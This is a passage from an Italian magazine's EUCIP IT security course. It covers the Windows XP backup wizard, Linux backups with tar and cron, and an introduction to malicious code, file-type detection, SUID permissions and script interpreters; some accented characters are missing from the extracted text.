un sottoinsieme specificato, oppure ancora le sole
impostazioni di sistema. Per il nostro esempio scegliamo
di salvare un sottoinsieme dei file del disco (seconda
opzione).
5 - Avendo deciso di salvare solo alcuni dei file su disco,
nella fase successiva ci viene richiesto di scegliere quali.
Nel nostro esempio supponiamo di voler salvare la cartella
Documenti, perci contrassegnamo la casella nellelenco
di sinistra. Il segno di selezione qui appare in blu, a
significare che loggetto integralmente selezionato. A
destra vediamo invece che accanto allunit C apparso
un segno di spunta verde (e non blu), perch la cartella
Documenti rappresenta solo un sottoinsieme del disco C:,
che risulta quindi solo parzialmente interessato
dalloperazione
6 - Il passo successivo consiste nella scelta dellunit di
storage destinataria del backup. Se lelenco a discesa di
opzioni offerte non contiene quella desiderata, possibile
selezionare una destinazione diversa. Nel nostro caso
desideriamo salvare i dati su un disco di rete non
compreso in elenco, quindi facciamo clic su Sfoglia... per
selezionarlo.
7 - Nel dialog box che appare scegliamo lunit disco di
rete ed eventualmente creiamo una cartella (Backup PC1)
in cui depositare il backup. inoltre necessario scegliere
un nome per il backup, nella casella Nome file in basso.
Scegliamo il nome backup PC1 e facciamo clic su
Salva.
2
3
4
5
6
7
PC Open www.pcopen.it 74
ITAdministrator - Sicurezza informatica Lezione 4
8 - Una volta selezionata lunit disco e cartella di
destinazione ed il nome del backup, veniamo riportati nella
schermata del wizard. Premiamo Avanti per passare alla
fase finale.
9 - Nella videata conclusiva vediamo un riepilogo delle
impostazioni di base relative al job di backup di imminente
attivazione. tuttavia presente un pulsante Avanzate che
d accesso a ulteriori impostazioni per un controllo fine su
tempi e modi delloperazione. Premiamolo.
10 - La prima opzione riguarda il tipo di backup.
Incrementale e Differenziale corrispondono alle tipologie
discusse nella Tabella Tipi di backup. Normale
corrisponde a un backup integrale, in quanto salva i file e li
marca tutti come archiviati. Copia salva i file, ma non li
marca come archiviati. Giornaliero una sorta di backup
incrementale che salva i file creati o modificati in data
odierna, indipendentemente dal fatto che fossero gi stati
salvati da un precedente backup; inoltre, i file creati o
modificati prima di oggi, ma dopo lultimo backup
effettuato resterebbero non salvati. Se si decide di
utilizzare lopzione Giornaliero, consigliamo di farlo solo
quotidianamente e solo se si ben certi delleffetto che si
sta ottenendo.
Per il nostro esempio selezioniamo Normale.
11 - Questa schermata consente di richiedere la verifica
dei dati scritti (vivamente raccomandato), di selezionare la
compressione hardware dei dati, ove disponibile, e di
attivare o disattivare la modalit copia replicata del
volume che effettua comunque il backup dei file anche se
sono aperti in scrittura da qualche processo.
12 - La schermata successiva consente di scegliere se
aggiungere backup a quelli gi esistenti nella cartella di
destinazione oppure se rimpiazzare i backup vecchi con
quelli nuovi. In questo secondo caso, date le implicazioni
di sicurezza, offerta unulteriore opzione per restringere
laccesso al solo proprietario o amministratore del
sistema.
13 - Vi poi una schermata che consente di scegliere se
eseguire il backup subito o in un secondo tempo. Se si
desidera differirlo sufficiente selezionare In seguito e
premere Imposta pianificazione: apparir una finestra
con le necessarie regolazioni.
14 - Nella scheda Pianificazione processo possibile
scegliere tra varie possibili periodicit per lesecuzione del
backup appena definito. Oltre alla periodicit possibile
selezionare lorario di avvio. Premendo il pulsante
Avanzate si ha accesso a ulteriori opzioni di
programmazione.
8
9
10
11
12
PC Open www.pcopen.it 75
Lezione 4 IT Administrator - Sicurezza informatica
15 - Da questa finestra possibile determinare il periodo
di tempo durante il quale deve considerarsi valida la
programmazione espressa nella schermata precedente
(per esempio: il backup giornaliero dovr essere eseguito
solo per i prossimi 15 giorni).
anche possibile impostare una ripetizione continua del
task con una certa periodicit, o per un certo tempo, o
ancora fino a un certo momento.
16 - La scheda Pianificazione processo permette ad
esempio dinterrompere i backup la cui esecuzione stia
prendendo troppo tempo, o di farli eseguire solo se e
quando il computer scarico di lavoro da un certo
tempo, di escludere le operazioni di backup quando il PC
sta funzionando a batterie (per non rischiare di restare a
secco a met backup, compromettendone lintegrit e
rendendolo di fatto inutile).
17 - Una volta completate le impostazioni, il Wizard
presenta una schermata conclusiva con il riepilogo delle
opzioni impostate. Controlliamole e premiamo Fine per
procedere (o Indietro, se desiderato, per correggerle).
18 - Cos si presenta la schermata di monitoraggio dello
stato di avanzamento del backup. La stima di tempo
mancante al completamento delloperazione importante
perch, nel caso di backup di rete, consente di studiare il
tempo di impegno della LAN da parte di ogni PC soggetto a
backup. In reti non troppo grandi, questo permette
allamministratore di programmare lora di inizio e la durata
delle operazioni di backup dei singoli PC per evitare che,
accavallandosi, esse causino congestione nella rete e
sovraccarico sul file server destinatario dei backup.
19 - Al termine delloperazione viene generato un log in
forma testuale che pu essere visualizzato in Blocco note
13
14
15
16
17
18
PC Open www.pcopen.it 76
ITAdministrator - Sicurezza informatica Lezione 4
premendo lapposito pulsante. Nella figura vediamo come
si presenta il log generato dal nostro esempio di backup
integrale.
20 - Loperazione di ripristino (restore) nettamente pi
semplice di quella di backup. Una volta lanciato lo
strumento in Modalit avanzata e selezionata la scheda
Ripristino, appare uninterfaccia per la selezione di uno o
pi file o cartelle da recuperare. sufficiente
contrassegnare una cartella nellalbero di sinistra (oppure
un file nellelenco di destra) e scegliere la destinazione
dallelenco a discesa in basso: i file possono essere
ripristinati nelle posizioni originali (sovrascrivendo eventuali
modifiche successive) oppure in una posizione differente,
che andr eventualmente specificata. Lopzione Singola
cartella consente infine di ripristinare tutti i file selezionati
in una singola directory piatta specificata, perdendo
quindi la strutturazione in cartelle del backup originario.
Una volta fissate le opzioni si preme Avvia ripristino per
avviare il processo. Da notare che linterfaccia di controllo
per il restore pu essere usata (senza lanciare il restore
vero e proprio) anche solo per controllare quali file sono
stati effettivamente archiviati nel file di archivio.
21 - Cos si presenta la quarta e ultima scheda
dellinterfaccia avanzata dello strumento di
backup/ripristino di Windows XP. Si tratta di un vero e
proprio calendario per la pianificazione dei backup. Per
programmare che un backup avvenga a una certa data
sufficiente selezionarla sul calendario e premere Aggiungi
processo. Verr cos lanciato il wizard che ben
conosciamo, con le date preimpostate secondo la
selezione appena effettuata. Le altre opzioni dovranno
essere impostate nel modo consueto. Alla fine si ritorner
a questa schermata, con unicona nella casella della data
interessata dal job di backup appena programmato.
Effettuare backup e restore in ambiente Linux
Anche per il backup in ambiente Linux non mancano le
utility con interfaccia grafica amichevole, bene abi-
tuarsi ad usare gli strumenti che esistono sicuramente in
tutte le installazioni: il comando di archiviazione tar, le uti-
lity di compressione/decompressione compress/uncom-
press, gzip/gunzip, zip/unzip e il meccanismo di tempo-
rizzazione-programmazione cron/crontab.
Il comando tar deve il suo nome allacronimo Tape AR-
chive: un nome risalente allepoca in cui il backup, dato il
costo proibitivo dei dischi di alta capacit, si faceva sempre
su nastro. Si pu pensare a questo comando come a un PK-
ZIP privo dinterfaccia grafica. Come ZIP, tar in grado di
leggere un albero di cartelle e file e di salvarli in un unico
file archivio (normalmente con suffisso .tar e perci detto
tar file, in modo analogo al fatto che un file .ZIP chia-
mato zip archive), ricordando anche la struttura dellal-
bero. Il file archivio pu venire salvato su un file system ba-
sato su hard disk oppure, per esempio, su unit a nastro.
Per esempio, nel caso del disco fisso:
tar cvf mioarchivio.tar /usr/marco/cartella-da-archiviare/*
Il comando sopra crea il file mioarchivio.tar nella direc-
tory corrente. Il file contiene un salvataggio completo del-
lalbero di file system sotteso alla directory specificata co-
me ultimo parametro. A tal fine la directory viene visitata
ricorsivamente e in modo esaustivo dal comando tar.
Il parametro cvf sta a indicare che il tar file deve essere
Creato (c) con il Filename (f) specificato come para-
metro immediatamente successivo e che durante il pro-
cesso dovr essere emesso un output diagnostico Verboso
(v) che riferisca sulle operazioni in corso, sui file inte-
ressati dallarchiviazione e sulla loro dimensione man ma-
no che vengono inseriti nel tar file.
possibile (e caldamente raccomandabile, allo scopo di
verificare che larchivio sia stato creato correttamente) ri-
chiedere al comando tar di mostrare lelenco integrale del
contenuto di un determinato tar-file, senza tuttavia estrar-
re i file che vi sono contenuti: per esempio:
tar tvf mioarchivio.tar
In questo caso la lettera t sta per Table of contents:
ci che si chiede infatti di stampare il sommario del-
larchivio. Lelenco dei file viene stampato su stdout e nel-
la probabile ipotesi che sia troppo lungo sar bene man-
dare loutput di tar in pipe a more: ci consentir la lettu-
ra pagina per pagina (spazio per avanzare, q per inter-
rompere).
tar tvf mioarchivio.tar | more
Lo stesso comando tar usato per creare larchivio svol-
ge anche la funzione inversa, ossia a partire dal file archi-
vio in grado di ricostruire lalbero di file e cartelle origi-
nario integralmente o parzialmente, o anche di estrarre sin-
goli file specificati.
tar xvf mioarchivio.tar
19
20
21
PC Open www.pcopen.it 77
Lezione 4 IT Administrator - Sicurezza informatica
Questa volta tar effettuer unoperazione di eXtract
(x) di tutto il contenuto del tar-File (f) specificato, sem-
pre generando un diagnostico Verboso (v). Lalbero di fi-
le verr ricreato sotto la directory corrente.
Se avessimo voluto estrarre solo un particolare file sa-
rebbe stato sufficiente specificarne il nome come secondo
parametro:
tar xvf mioarchivio.tar soloquestofile.txt
Il comando tar esegue la compressione dei file con l'u-
nico limite di non farlo se si scrive su una device, in tal ca-
so necessario concatenare - in pipe- il comando gzip.
Versioni recenti di tar supportano in forma nativa linte-
grazione con gzip/gunzip. Per richiedere che il tar-file ven-
ga compresso/espanso al volo durante loperazione di
creazione/estrazione si aggiunge allora il qualificatore z:
tar cvzf mioarchivio.tgz /usr/marco/cartella-da-
archiviare/*
per archiviare con compressione, e
tar xvzf mioarchivio.tgz
per estrarre con espansione.
molto frequente anche il caso di backup effettuati su
unit a nastro (note anche come streamers). In tal caso la
sintassi del comando resta invariata per quanto riguarda le
opzioni fondamentali. L'unica differenza riguarda l'indica-
zione dell'unit destinataria del backup (un device) che
prende il posto del nome del tarfile da creare o da leggere.
Normalmente la prima unit a nastro installata sul sistema
rappresentata dal file speciale /dev/st0 (di cui di solito
esiste un alias: /dev/tape). Quindi, per esempio, per ese-
guire su questa unit a nastro il backup di cui all'esempio
precedente, senza compressione dati, si user questo co-
mando:
tar cvf /dev/st0 /usr/marco/cartella-da-archiviare/*
Quanto visto finora consente di effettuare in modo inte-
rattivo un backup o un restore dei propri file. Pi interes-
sante per organizzare le cose in modo tale che il backup
venga effettuato in forma automatica dal sistema, magari
nelle ore notturne. Per farlo si combina la capacit di tar di
archiviare dati (e quella di gzip di comprimerli) con il mec-
canismo cron per lesecuzione programmata di task.
Tecnicamente cron non un comando, bens un demo-
ne. In Unix (e quindi in Linux) un demone un processo di
sistema che gira in background per espletare qualche ser-
vizio, spesso in base a file di configurazione. Nel caso di
cron, il servizio consiste nellesecuzione temporizzata di
comandi di shell. Il relativo file di configurazione crontab.
crontab contiene righe di testo composte da campi sepa-
rati da spazi:
minute hour day-of-month month-of-year day-of-week
command
La tabella A qui sotto riporta la sintassi accettata per
ognuno di questi campi.
Per i campi che ammettono valori numerici inoltre pos-
sibile specificare:
1) intervalli, per esempio 5-15 (da 5 a 15, estremi inclusi)
2) intervalli multipli, per esempio 5-15,25-45 (da 5 a 15 e da
25 a 45 estremi inclusi)
3) un asterisco (*), per indicare per tutti i valori dellin-
tervallo ammissibile
4) (in combinazione con intervalli o con asterisco) uno
step, espresso come slash (/) seguito dal valore dincre-
mento. Per esempio: 0-10/2 significa 0,2,4,6,8,10. Per i
giorni della settimana, 1-7/2 significa luned, mercoled,
venerd, domenica.
Ed ecco alcuni esempi riassuntivi per i valori dei primi
5 campi delle righe di crontab (tabella B).
Per automatizzare lesecuzione del backup della direc-
tory /usr/marco/dati tutti i giorni a mezzanotte e mezza,
con creazione del tar-file /tmp/backup.tar, si crei anzitutto
un file (per esempio: job.txt) contenente la seguente riga di
testo:
0 1 * * 1-7 tar cvf /tmp/backup.tar /usr/marco/dati/*
Fatto ci, per installare questo job negli appuntamenti
serviti da crontab, si esegua il comando
crontab job.txt
Per verificare che il job sia stato correttamente preso in
carico si usa il comando crontab -l (l come list), che vi-
sualizza il quadro della situazione attuale dei job. Per sop-
primere lattuale crontab si usa invece crontab r (r co-
me remove). Il file crontab non dovrebbe essere mai mo-
dificato direttamente (eventualmente disponibile il co-
mando crontab e) ma a titolo di informazione precisiamo
che esso viene salvato dal sistema sotto /var/spool/cron/
<username>
Tabella A - sintassi accettata per ognuno i campi
Campo Intervalli di valori ammissibili o sintassi
minute 0-59
hour 0-23
day-of-month 1-31
month-of-year 1-12 oppure prime tre lettere del nome inglese del mese (case insensitive)
day-of-week 0-7 oppure prime tre lettere del nome inglese del giorno della settimana.
I valori 0 e 7 rappresentano entrambi la domenica
command riga di comando sintatticamente accettabile per la shell. Qualora sia necessario specificare
una successione di comandi, questi andranno separati con punto e virgola.
Sono ammessi costrutti con uso di pipe (|)
Tabella B - esempi per i valori dei primi 5 campi delle righe di crontab
10 0 * * * ogni giorno, a mezzanotte e 10 minuti
30 15 2 * * alle 15:30 il secondo giorno di ogni mese
0 21 * * 1-5 alle ore 21, dal luned al venerd
15 0-23/2 * * * un quarto dora dopo le ore pari (alle 0:15, 2:15, 4:15,...) ogni giorno
30 12 * * sun alle 12:30 della domenica.
PC Open www.pcopen.it 78
ITAdministrator - Sicurezza informatica Lezione 5
S
pesso il computer viene scherzosamente definito un
"idiota veloce" per la sua attitudine a eseguire ordini
relativamente semplici in tempi estremamente brevi.
Tali ordini vengono eseguiti in modo perfettamente fedele,
e se in condizioni normali ci ovviamente desiderabile,
non lo affatto quando gli ordini sono tali da causare mal-
funzionamenti, perdite di dati, divulgazione di informazio-
ni riservate, degrado di prestazioni.
Purtroppo, come tutti gli utenti di PC ben sanno, questa
circostanza non affatto rara. Si potrebbe anzi azzardare
che, soprattutto in ambito domestico o SOHO (Small Offi-
ce Home Office), i casi di sistemi "inviolati" rappresenta-
no l'eccezione e non la regola.
La vulnerabilit dei sistemi SOHO l'effetto combinato
di una amministrazione di sistema generalmente pi "tra-
sandata" e meno specialistica di quella tipica dell'ambien-
te aziendale e di una esposizione ad attacchi di "agenti pa-
togeni" accresciuta dal fatto che da tali postazioni si acce-
de, solitamente, a Internet e tramite questa a contenuti e
programmi provenienti dalla rete e spesso non adeguata-
mente controllati.
In questa puntata passeremo in rassegna i canali usati
per portare l'attacco al nostro sistema. Si tratta dell'abuso
consapevole di "innocenti" programmi difettosi (exploita-
tion) oppure di programmi "nocivi" appositamente scritti.
Come tutti i programmi, anche quelli nocivi, per poter agi-
re, devono essere mandati in esecuzione. A tal fine si pos-
sono adottare varie tecniche: dissimularli all'interno di al-
tri programmi, anche con la capacit di replicarsi dando
luogo a un vero e proprio processo infettivo (virus), ca-
muffarli da programmi innocenti per indurre l'ignaro uten-
te ad eseguirli (trojan horse) o perfino nasconderli in file di
dati (virus delle macro). Nelle sezioni che seguono vedre-
mo in dettaglio le tecniche di attacco e le contromisure per
contrastarle.
I programmi
Parlando della minaccia rappresentata da programmi
scritti con l'esplicito intento di creare danno e disservizio
(malware) importante ricordare che tutti i programmi,
malware compresi, possono essere scritti in una pluralit
di linguaggi ed essere destinati a entrare in esecuzione in
contesti diversi. Per saper contrastare la minaccia rappre-
sentata dai malware quindi necessario conoscere anzi-
tutto gli ambienti di esecuzione nei quali i programmi pos-
sono risiedere ed essere eventualmente attivati.
Il primo tipo di programma, scritto in un generico lin-
guaggio di programmazione e poi trasformato in linguaggio
macchina per poter essere eseguito direttamente appog-
giandosi al sistema operativo, spesso detto "eseguibile"
o "binario". In ambiente Windows, tale categoria di pro-
grammi di solito riconoscibile dal suffisso EXE o COM.
Pi difficile l'identificazione in ambiente Linux, in cui il
suffisso non significativo.
Il concetto di sicurezza del PC sempre comunemente associato
con la difesa da virus, spyware, cavalli di Troia, worm e altri
programmi concepiti per scopi illegali o semplicemente malevoli.
In questa lezione di EUCIP IT Administrator Sicurezza
Informatica scoprirete come identificare le minacce e difendervi
con efficacia.
I contenuti sono composti
da tre elementi: un articolo
sulla rivista, un articolo, molto
pi esteso in formato PDF
e un corso multimediale
completo su CD e DVD
di Marco Mussini
Materiale didattico
validato da AICA
Certificazione EUCIP
IT Administrator
Modulo 5 -
IT Security
Sicurezza informatica
"AICA Licenziataria
esclusiva in Italia del
programma EUCIP
(European Certification
of Informatic
Professionals), attesta
che il materiale didattico
validato copre
puntualmente e
integralmente gli
argomenti previsti nel
Syllabus IT Administrator
e necessari per il
conseguimento della
certificazione IT
Administrator IT
Security. Di
conseguenza AICA
autorizza sul presente
materiale didattico l'uso
del marchio EUCIP,
registrato da EUCIP Ltd
e protetto dalle leggi
vigenti"
Obiettivo del corso IT Administrator
Sicurezza Informatica
Fornire al lettore familiarit con i vari modi di
proteggere i dati sia su un singolo PC sia in una LAN
connessa a Internet. In particolare, metterlo nelle
condizioni di proteggere i dati aziendali contro
perdite, attacchi virali e intrusioni. Inoltre, metterlo
nelle condizioni di conoscere e utilizzare le utility e i
programmi pi comuni destinati a tali scopi.
Riferimento Syllabus
2.0 (curriculum
ufficiale AICA)
5.5.1. Programmi
5.5.1.1 Sapere con
quali strumenti
possibile controllare
direttamente un
computer: sistema
operativo,
programmi, comandi
di shell, macro.
I contenuti delle 8 lezioni
Lezione 1: Informazioni generali
Lezione 2: parte 1 Crittografia -
fondamenti e algoritmi
Lezione 2: parte 2 Crittografia -
applicazioni
Lezione 3: Autenticazione
e controllo degli accessi
Lezione 4: Disponibilit dei dati
Lezione 5: Codice maligno
Lezione 6: Infrastruttura a chiave pubblica
Lezione 7: Sicurezza della rete
Lezione 8: Aspetti sociali, etici e legali della
sicurezza informatica
In collaborazione
con:
Identificare le minacce
Il codice maligno
PC Open www.pcopen.it 79
Lezione 5 IT Administrator - Sicurezza informatica
A differenza dell'ambiente Windows, in cui
previsto che il tipo di un file sia
identificato in base al suffisso, i sistemi
Unix in generale (e in particolare Linux)
non usano tale convenzione.
Di conseguenza, il tipo di file deve essere
dedotto da propriet diverse dal suo
nome.
Esiste un apposito comando interattivo di
shell, il comando file, che si preoccupa di
esaminare un file e di stabilire di che tipo
si tratti attraverso un procedimento che si
articola su varie fasi.
Anzitutto si verifica se si tratta di uno dei
cosiddetti "file speciali" di Unix che
possono rappresentare varie entit
diverse dai normali file di dati.
Vediamo un elenco dei diversi tipi
possibili:
dispositivi fisici, come unit a disco o a
nastro, porte seriali, unit rimovibili e
cos via;
socket TCP/IP, ossia le entit astratte
che rappresentano le estremit di una
connessione di rete punto-punto o i
punti di origine/destinazione di una
trasmissione broadcast;
link simbolici, il concetto UNIX a cui si
ispirano i collegamenti a di
Windows: si tratta di piccoli file che
fungono solo da riferimenti a file veri e
propri. In genere essi contengono il path
completo del file bersaglio, con un
qualche marcatore che li qualifica come
link simbolici. Aprirli, chiuderli ed
effettuare I/O su di essi equivale ad
effettuare le stesse operazioni sul file
collegato; loperazione di cancellazione,
invece, cancella il link simbolico, ma
non il file collegato.
hard link, ossia collegamenti realizzati
nella struttura gerarchica del file
system; la differenza rispetto ai link
simbolici sta nel fatto che cancellando
lultimo hard link rimasto ancorato a un
file, il file viene cancellato. Anche le
prestazioni in termini di tempo
daccesso sono pi elevate che nel caso
dei link simbolici, dato che non ci sono
path da interpretare. Lequivalenza tra
hard link e file riferito perci
praticamente assoluta.
named pipe: meccanismi utilizzati per la
comunicazione a run time tra processi
(inter-process communication: IPC)
alternative alluso di connessioni di rete
interne alla macchina e molto pi
efficienti.
I vari tipi di file possono essere
riconosciuti immediatamente attraverso
un'analisi delle strutture dati sul file
system, eseguita innanzi tutto mediante la
primitiva stat.
Se il file risulta non essere un "file
speciale", allora si tenta di aprirlo e di
esaminarne il contenuto. In un certo
numero di casi possibile stabilire, con
certezza, che il file un eseguibile, un file
oggetto, una libreria dinamica, eccetera,
semplicemente leggendo i suoi primi byte
e confrontandoli con alcuni valori noti, in
quanto tali tipi di file hanno una struttura
standard che prevede un prologo (header)
che deve tassativamente contenere alcuni
valori identificativi in ben precise
posizioni.
In particolare, per i file eseguibili e i file
oggetto, un particolare numero intero (di
solito a 32 bit) posizionato vicino all'inizio
del file, a una certa distanza nota da
esso, funge da marcatore di tipo. Trovare
tale valore nella posizione prevista
considerato una signature di un
determinato file type: quindi una prova
sufficiente per concludere che il file
esaminato del tipo corrispondente alla
signature trovata.
Di conseguenza tale valore detto
familiarmente "magic number" e una
tabella dei magic number ufficialmente
considerati attendibili dal sistema si trova
nel file /usr/share/magic.
Per quanto una simile tecnica
didentificazione dei file possa sembrare
"fragile", essa in realt affidabile in un
numero sorprendentemente alto di tipi di
file.
Si veda, per esempio,
http://www.gar ykessler.net/librar y/file_si
gs.html per un elenco di header
corrispondenti a tipi di file molto diffusi.
Naturalmente esiste un problema di
ambiguit: due formati di file potrebbero
avere lo stesso valore in una determinata
posizione dell'header; in questo caso pu
bastare prendere in esame posizioni
diverse per cercare magic number pi
affidabili e univoci. Pu per sempre
capitare che per pura combinazione un file
si trovi a contenere, nei suoi primi byte,
proprio tali valori che sono
obbligatoriamente presenti in altri tipi di
file noti e che sono anzi usati per
riconoscerli.
In tal caso il riconoscimento sar erroneo
e potranno verificarsi anche problemi seri
(ad esempio qualora un file qualunque
fosse scambiato per un file eseguibile e,
come tale, mandato in esecuzione).
Tale rischio non potr mai essere
eliminato (non si possono certo imporre
restrizioni sul contenuto di un file
generico), ma la probabilit di trarre
conclusioni sbagliate pu essere
significativamente ridotta considerando un
header pi grande e pi magic number in
posizioni diverse.
Per avere un'idea del contenuto del file
/usr/share/magic si veda ad esempio
http://www.gar ykessler.net/librar y/
magic.html oppure, qualora si abbia a
disposizione una macchina Linux, si apra
direttamente quello del proprio sistema.
Quando il file in esame non supera il
confronto con tutti i magic number, il
computer conclude che si tratta di un file
di dati. Viene compiuto tuttavia ancora
uno sforzo per tentare di stabilire se si
tratti di un file di testo oppure no.
Per questo il suo contenuto viene
controllato per verificare se contiene solo
codici di caratteri definiti dal set ASCII,
Extended ASCII, ISO-8859-1, UTF-8 o UTF-
16 (due particolari codifiche per Unicode,
rispettivamente orientate a 8 bit o a 16
bit), o per fino dal poco noto EBCDIC (una
codifica usata dall'IBM sui suoi mainframe
fin dagli anni '70).
Se il file viene riconosciuto come file di
testo, allora si tenta un ultimo esame per
stabilire se per caso si tratti di un file
scritto in un qualche linguaggio di
programmazione conosciuto, come C++ o
Java.
In tal caso vi il problema che una parola
chiave riser vata di un linguaggio potrebbe
non esserlo in un altro, in cui sarebbe
quindi lecito utilizzarla come nome di
variabile (una posizione di memoria dotata
di nome, che pu contenere dati che
variano durante lesecuzione di un
programma): per esempio, "class" una
parola chiave riser vata in C++, ma
potrebbe essere un nome di variabile in C.
Inoltre "class" una parola chiave anche
in Java, quindi trovare una ricorrenza di
"class" non permette ancora di trarre
conclusioni.
Occorre un'ulteriore indagine per cercare
altre parole chiave ed eventualmente
anche per verificarne la posizione relativa.
Non insomma n semplice n affidabile
identificare il linguaggio in cui scritto un
file sorgente (tra l'altro, vista la
ridondanza della lingua inglese e delle
keyword informatiche, la probabilit che
una stessa parola chiave compaia in pi
programmi scritti in linguaggi diversi
molto maggiore della probabilit di
ritrovare un magic number pseudocasuale
a 32 bit.)
Per un esempio del file names.h, che
contiene il repertorio usato dal comando
file per tentare di riconoscere il linguaggio
di programmazione di un file sorgente, si
veda
ftp://ftp.tw.openbsd.org/pub/OpenBSD/
src/usr.bin/file/names.h
Identificazione del tipo di file in ambiente Linux
PC Open www.pcopen.it 80
ITAdministrator - Sicurezza informatica Lezione 5
Programmi di questo genere interagiscono direttamen-
te con il sistema operativo, anche se di solito quest'ultimo
prevede limiti non facilmente valicabili per programmi ese-
guiti da utenti non in possesso di privilegi di amministra-
tore. Il rischio quindi proporzionato ai privilegi di utente
di chi esegue il programma. In ambiente Linux le cose so-
no molto pi sottili: impostando opportunamente i per-
messi Set-User-ID (SUID) sul file eseguibile, possibile fare
in modo che a un determinato programma, seppur esegui-
to da un utente non privilegiato, vengano concessi duran-
te l'esecuzione diritti equivalenti a quelli che avrebbe se
fosse stato eseguito dall'amministratore. Naturalmente
l'impostazione di tali diritti possibile solo all'amministra-
tore stesso, restrizione che dovrebbe rappresentare un ef-
ficace contrasto contro tentativi degli utenti "normali" di ar-
rogarsi privilegi indebiti. Purtroppo, falle di security o pro-
grammi ingannevoli possono essere sfruttati per ottenere
privilegi di super-user giusto per il tempo sufficiente al fine
dimpostare i permessi SUID sul programma.
Altri tipi di programma realizzati con le stesse tecniche
di base, ma mirati a gestire periferiche (driver) o a imple-
mentare funzioni comunemente utilizzate da pi program-
mi (librerie condivise) sono memorizzati in file che in am-
biente Windows presentano estensioni come .SYS o .DLL,
mentre in Linux i suffissi, non sempre presenti, possono es-
sere .sa, .so, .lib.
I programmi appartenenti a questa categoria possono fa-
cilmente acquisire "pieni poteri", data la loro intima rela-
zione con alcuni dei sottosistemi pi delicati del sistema
operativo, e vengono mandati in esecuzione a seguito dim-
postazioni presenti nei file di configurazione del sistema
operativo stesso, come ad esempio, in ambiente Windows,
il file SYSTEM.INI o lo stesso Registro di Sistema. La loro pre-
senza normale e necessaria per il funzionamento del si-
stema, purch siano effettivamente ci che dicono di es-
sere e non siano stati alterati rispetto alle versioni origina-
li. Ma se un malware riesce a sostituirli con una propria ver-
sione modificata ingannando l'utente, pu riuscire a in-
staurare una falla stabile e poco evidente nella sicurezza
del sistema (backdoor), degradarne "cronicamente" le pre-
stazioni facendo eseguire codice inutile concepito solo per
drenare potenza di calcolo e rallentare il sistema (worm)
oppure destabilizzarlo in forma "acuta", danneggiando la
tabella delle partizioni, il registro di sistema o altri file e im-
postazioni vitali per il funzionamento generale di sistema
operativo e applicazioni.
Una seconda categoria di programmi quella degli
script. Uno script, in senso tradizionale, consiste in un file
contenente una successione, o gruppo (batch) di istruzio-
ni uguali ai comandi che l'utente pu impartire interattiva-
mente da una finestra DOS (Prompt dei comandi) o, in Li-
nux, da una finestra terminale (xterm ed equivalenti). Per-
ci il file che ospita lo script spesso definito batch file.
prassi comune memorizzare gli script in file il cui no-
me ha un suffisso che permette di determinare il linguaggio
in cui sono scritti. La tecnica praticamente necessaria in
ambiente Windows, in quanto il criterio usato da Win-
dows Explorer per eseguire gli script con l'interprete adat-
to al linguaggio in cui sono scritti. In ambiente Linux inve-
ce il suffisso opzionale in quanto rilevante soltanto per
l'utente umano: la shell determina l'interprete idoneo per
eseguire lo script in base a uninformazione contenuta nel-
la prima riga del file. Tale riga, se presente, caratterizza-
ta dal prefisso "#!" (il cosiddetto dash-bang), che deve es-
sere seguito dal percorso completo fino all'interprete di cui
indicato l'impiego per eseguire le rimanenti righe dello
script. L'interprete pu essere una delle tante shell dispo-
nibili in ambiente Linux oppure un interprete di altro lin-
guaggio di scripting come Perl o Tcl/Tk.
In ambiente Windows gli script implementati nel lin-
guaggio di shell di MS-DOS (per intenderci, il linguaggio che
comprende comandi come dir, cd, mkdir, del, copy, move,
format, echo, type) vengono memorizzati in file con suffis-
so .BAT. Gli script file implementati in Perl, Tcl o Python ri-
cevono solitamente estensioni .pl, .tcl e .py, rispettiva-
mente.
Windows prevede un ampio ventaglio di tecnologie di
scripting proprietarie che comprendono VBScript e JScript
dal punto di vista del linguaggio; Windows Scripting Host
dal punto di vista del contesto di esecuzione per gli script;
COM, WMI ed ADSI dal punto di vista dei modelli a oggetti
che consentono accesso alle funzionalit di sistema con le
quali gli script devono interagire.
VBScript sintatticamente analogo al Visual Basic, ma
applicato, in questo contesto, all'interazione con funzioni
di sistema attraverso chiamate a librerie (API: Application
Program Interface) piuttosto che alla realizzazione di appli-
cativi. Gli script VBScript prendono solitamente il suffisso
.vbs.
JScript risulta abbastanza affine a JavaScript, il linguag-
gio di scripting inventato da Netscape per automatizzare
certe classi di operazioni nei browser web, come la valida-
zione dei campi presenti nelle moduli (form) da compilare
in certe pagine web, oppure per rendere parzialmente di-
namici i contenuti delle stesse pagine. Il suffisso solita-
mente .js.
Impostare il permesso SUID su un file
Il permesso SUID pu essere impostato dal proprietario del file o dall'amministratore
(root). Il comando usato
chmod u+s nomefile
e dopo l'operazione i permessi appariranno come in questo esempio:
-rwsr-xr-x
Quando il programma interessato sar mandato in esecuzione, chiunque sia l'utente
che lo avr fatto, esso girer come se lo avesse lanciato il proprietario. Quindi,
qualora il proprietario del file sia root, lo script (o programma) potr agire senza
limitazioni anche se lanciato da un normale utente!
Ricordiamo anche che, se necessario, l'identit del proprietario di un file (ownership)
pu essere cambiata utilizzando il comando chown: per esempio, il seguente
comando fa risultare root come proprietario del file "miofile":
chown root miofile
ovvio che, per motivi di sicurezza, chown pu essere eseguito solo dal proprietario
attuale del file oppure da root. Sempre come misura di sicurezza, il proprietario
attuale pu impostare un nuovo owner solo nell'ambito del gruppo di cui egli fa gi
parte, mentre root ha piena libert. Inoltre, in quasi tutte le varianti di Unix,
eseguendo chown il permesso SUID viene azzerato, cosicch, non risultando ormai
pi il proprietario del file, il vecchio proprietario non possa pi disporre del permesso
SUID, non potendolo reimpostare su un file che non pi suo. Se cos non fosse,
infatti, al proprietario di un file basterebbe creare un file contenente la copia
dell'eseguibile di una shell, conferirgli il permesso SUID e poi cambiare la ownership
a root per ottenere una shell SUID di root.
Un esempio dash-bang
Esempio di linea "dash-bang" per alcune delle shell pi
diffuse con i rispettivi path tipici di installazione.
#!/bin/sh
#!/bin/bash
#!/usr/bin/ksh
#!/usr/bin/csh
#!/usr/bin/tcsh
#!/usr/local/bin/perl
#!/usr/local/bin/tclsh
Lezione 5 IT Administrator - Sicurezza informatica
Windows Scripting Host un ambiente di esecuzione
per script realizzati in vari possibili linguaggi, in particola-
re JScript e VBScript. Lo si pu paragonare all'interprete
COMMAND.COM (o CMD.EXE) per l'esecuzione degli script
BAT di MS-DOS, oppure a Internet Explorer per l'esecuzio-
ne degli script Dynamic HTML, oppure ancora, in ambien-
te Linux, alle varie shell esistenti, ognuna delle quali in
grado di eseguire script realizzati nel corrispondente lin-
guaggio.
La differenza fra WSH e un interprete "puro" sta per nel
